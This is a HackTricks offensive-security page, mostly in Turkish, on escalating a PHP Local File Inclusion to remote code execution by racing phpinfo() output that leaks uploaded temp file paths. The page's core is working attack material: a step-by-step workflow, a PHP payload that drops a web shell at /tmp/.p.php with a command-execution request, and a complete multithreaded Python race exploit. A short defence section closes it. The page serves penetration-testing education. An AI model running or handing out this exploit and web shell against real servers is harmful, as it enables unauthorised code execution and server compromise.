LFI to RCE via PHPInfo
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu tekniği kullanmak için aşağıdakilerin tamamına ihtiyacınız vardır:
- phpinfo() çıktısını yazdıran ulaşılabilir bir sayfa.
- Kontrolünüzde bir Local File Inclusion (LFI) primitive (ör. kullanıcı girdisi üzerinde include/require).
- PHP file uploads etkin (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve yüklenen her parça için geçici bir dosya oluşturur.
- PHP worker’ın yapılandırılmış upload_tmp_dir’e (veya varsayılan sistem geçici dizinine) yazabiliyor olması ve LFI’nizin bu yolu include edebilmesi gerekir.
Klasik write-up ve orijinal PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Orijinal PoC hakkında notlar
- phpinfo() çıktısı HTML olarak kodlandığı için, “=>” oku sık sık “=>” şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini parse ederken her iki kodlamayı da aradıklarından emin olun.
- Payload’ı (PHP kodunuz), REQ1 (phpinfo() endpoint’ine yapılan, padding’i içeren istek) ve LFIREQ (LFI sink’inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatörüne ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ’i vulnerable sink’e göre ayarlayın.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teori
- PHP, bir file alanı içeren multipart/form-data POST aldığında, içeriği geçici bir dosyaya (upload_tmp_dir veya OS varsayılanı) yazar ve yolu $_FILES[‘
’][‘tmp_name’] içinde açığa çıkarır. Dosya, taşınmadığı/yeniden adlandırılmadığı sürece isteğin sonunda otomatik olarak silinir. - Hile, geçici adı öğrenip PHP silmeden önce LFI aracılığıyla onu include etmektir. phpinfo() $_FILES’i, tmp_name dahil olmak üzere, yazdırır.
- İstek header’larını/parametrelerini (padding) şişirerek, isteğin bitmesinden önce phpinfo() çıktısının erken parçalarının istemciye flush edilmesine neden olabilirsiniz; böylece temp dosya hâlâ var iken tmp_name’i okuyup hemen ardından o yol ile LFI’yi tetikleyebilirsiniz.
Windows’ta temp dosyaları genellikle C:\Windows\Temp\php*.tmp gibi bir yerde olur. Linux/Unix’te genelde /tmp veya upload_tmp_dir ile yapılandırılmış dizindedir.
What to verify in phpinfo() before racing
file_uploads:Onolmalı.upload_tmp_dir: eğer ayarlıysa, LFI’nizin erişip include edebilmesi gereken dizin budur. Boşsa, sistem varsayılan temp dizinini bekleyin.open_basedir: etkinse, zafiyetli include yolunuzun yinetmp_nameiçinde gösterilen temp dizinine erişebilmesi gerekir.output_buffering:4096yaygın/varsayılan bir boyuttur ve birçok PoC’nin 4KB parçalar halinde okumasının sebebidir; ancak bu değer farklı olabilir.zlib.output_compression,output_handlerve herhangi bir framework seviyesinde buffering: bunlartmp_name’i yeterince erken görme şansını azaltır.Server API: PHP ile sizin aranızda ne kadar buffering olabileceğine karar vermekte faydalıdır (apache2handlergenellikle reverse proxy arkasındakifpm-fcgi’ye göre daha kolay anlaşılır).
Eğer sayfa $_FILES’i göstermiyorsa, gerçekten bir dosya bölümü içeren bir multipart/form-data isteği gönderdiğinizden emin olun. PHP yalnızca parse edilen upload alanları için tmp_name’i doldurur.
Saldırı iş akışı (adım adım)
- Yarışı kaybetmemek için hızlıca bir shell kalıcı hale getirecek küçük bir PHP payload’u hazırlayın (bir dosya yazmak genelde bir reverse shell beklemekten daha hızlıdır):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Payload içeren bir geçici dosya oluşturması için büyük bir multipart POST’u doğrudan phpinfo() sayfasına gönderin. Erken çıktı oluşmasını teşvik etmek için çeşitli headers/cookies/params öğelerini ~5–10KB’lık padding ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.
-
phpinfo() yanıtı hâlâ akarken, kısmi gövdeyi parse edip $_FILES[‘
’][‘tmp_name’] (HTML-encoded) değerini çıkarın. Tam mutlak yolu (ör. /tmp/php3Fz9aB) elde eder etmez LFI’nizi tetikleyip o yolu include edin. include() temp dosyayı silinmeden önce çalıştırırsa, payload’ınız çalışır ve /tmp/.p.php dosyasını bırakır. -
Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (ya da LFI’nizin dahil etmesine izin verdiği herhangi bir yol) ile komutları güvenilir şekilde çalıştırın.
İpuçları
- Yarışı kazanma şansınızı artırmak için birden fazla eş zamanlı worker kullanın.
- Genellikle yardımcı olan padding yerleştirmeleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
- Eğer vulnerable sink bir extension ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosyanın uzantısına bakmaksızın PHP’yi çalıştırır.
Minimal Python 3 PoC (socket tabanlı)
Aşağıdaki kod parçası kritik bölümlere odaklanır ve eski Python2 scriptine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD öğelerini özelleştirin.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Sorun Giderme
- You never see tmp_name: Gerçekten phpinfo()’ye multipart/form-data ile POST yaptığınızdan emin olun. phpinfo() sadece bir upload alanı bulunduğunda $_FILES’i yazdırır.
tmp_nameappears only at the very end of the response: Bu genellikle bir buffering problemi, PHP sürümü sorunu değildir. Büyükoutput_bufferingdeğerleri,zlib.output_compression, userland output handlers, veya reverse-proxy/FastCGI buffering, phpinfo() gövdesinin upload isteği neredeyse bitene kadar gecikmesine neden olabilir.- You only get reliable streaming in a lab, not through the real site: Bir CDN, WAF veya reverse proxy upstream yanıtı buffer’lıyor olabilir. Aynı uygulamaya birden fazla rota varsa, en doğrudan origin yolunu tercih edin.
- The classic 4096-byte offset logic misses the leak: 4096’yı yaygın
output_bufferingvarsayılanlarından türetilmiş bir başlangıç noktası olarak kabul edin, evrensel bir sabit olarak değil. Artan biçimde parse edin vetmp_nametamamlanır tamamlanmaz durun. - The temp file is included but your shell dies immediately: Küçük bir stager kullanın ve ikinci bir dosya yazdırın; çünkü yüklenen temp dosya orijinal istek sona erdiğinde hâlâ silinecektir.
- Output doesn’t flush early: Padding’i artırın, daha büyük header’lar ekleyin veya birden fazla eşzamanlı istek gönderin. Bazı SAPIs/buffer’lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
- LFI path blocked by open_basedir or chroot: LFI’yi izin verilen bir yol gösterecek şekilde ayarlayın veya farklı bir LFI2RCE vektörüne geçin.
- Temp directory not /tmp: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI’de o tam yolu kullanın.
Modern stack’ler için pratik notlar
- Bu teknik modern laboratuvar ortamlarında hâlâ yeniden üretilebilir; örneğin, Vulhub PHP 7.2 üzerinde bir demonstratör bulunduruyor. Pratikte başarı, phpinfo’ya özel bir patch seviyesinden ziyade output buffering ve proxyleme’ye daha çok bağlıdır.
flush()veimplicit_flushsadece PHP’nin kendi output katmanını etkiler. Bir FastCGI gateway, reverse proxy, tarayıcı veya ara katmanın kısmi chunk’ları derhal serbest bırakacağını garanti etmezler.- Hedef Nginx/Apache proxyleme arkasındaki
fpm-fcgiise, katmanları düşünün: PHP buffer, PHP output handlers/compression, FastCGI buffering, sonra proxy buffering. Yarış yalnızca phpinfo() yanıtının istek kapanışı temp dosyayı silmeden önce bu zincirden yeterince kaçması durumunda işe yarar.
Savunma notları
- Üretimde phpinfo()’yu asla açığa çıkarmayın. Gerekliyse IP/auth ile kısıtlayın ve kullanımdan sonra kaldırın.
- Gerekli değilse file_uploads’u devre dışı bırakın. Aksi halde upload_tmp_dir’i uygulamada include() ile erişilemeyen bir yol olarak sınırlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
- Her LFI’yi kritik olarak değerlendirin; phpinfo() olmasa bile diğer LFI→RCE yolları mevcuttur.
İlgili HackTricks teknikleri
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Referanslar
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


